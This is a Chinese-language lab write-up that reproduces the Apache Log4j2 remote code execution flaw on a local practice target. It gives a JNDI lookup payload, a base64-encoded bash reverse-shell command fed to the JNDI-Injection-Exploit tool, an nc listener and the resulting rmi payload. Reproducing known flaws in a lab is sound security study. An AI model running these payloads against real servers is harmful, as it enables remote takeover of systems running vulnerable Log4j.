一、漏洞介绍
漏洞名称:Apache Log4j2远程代码执行漏洞
组件名称:Apache Log4j2
截止2021年1210,受影响的Apache log4j2版本:
2.0≤Apache Log4j<=2.15.0-rc1
漏洞类型:远程代码执行
二、漏洞复现
实验环境:本地vulfocus靶场
使用工具:burpsuite、ceye平台、JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
打开本地vulfocus靶场,启动漏洞环境
因为咱们本地IP为192.168.3.3,所以访问http://192.168.3.3:33351
ceye.io验证
通过ceye平台获取到域名xxx.ceye.io,构造payload:${jndi:ldap://xxx.ceye.io},浏览器点击?????并使用Burpsuite抓包,替换payload参数,此时发包会导致服务器400错误
通过burpsuite自带的编码工具对payload参数就行URL编码
编码后再次发送请求包
在ceye平台成功获取到解析记录
利用JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用
jar包地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令
bash -i >& /dev/tcp/ip/port 0>&1
此处的ip为192.168.3.3,port可使用任意未被占用的端口,此处指定为5555
即bash -i >& /dev/tcp/192.168.3.3/5555 0>&1
对其进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy81NTU1IDA+JjE=
代入JNDI工具后执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.3.3
另起窗口监听5555端口
nc -l 0.0.0.0 5555
替换工具生成的payload:rmi://192.168.3.3:1099/nu2hjc 到Burpsuite:
编码后发送到靶机
监听窗口成功接收到反弹shell
漏洞复现完毕。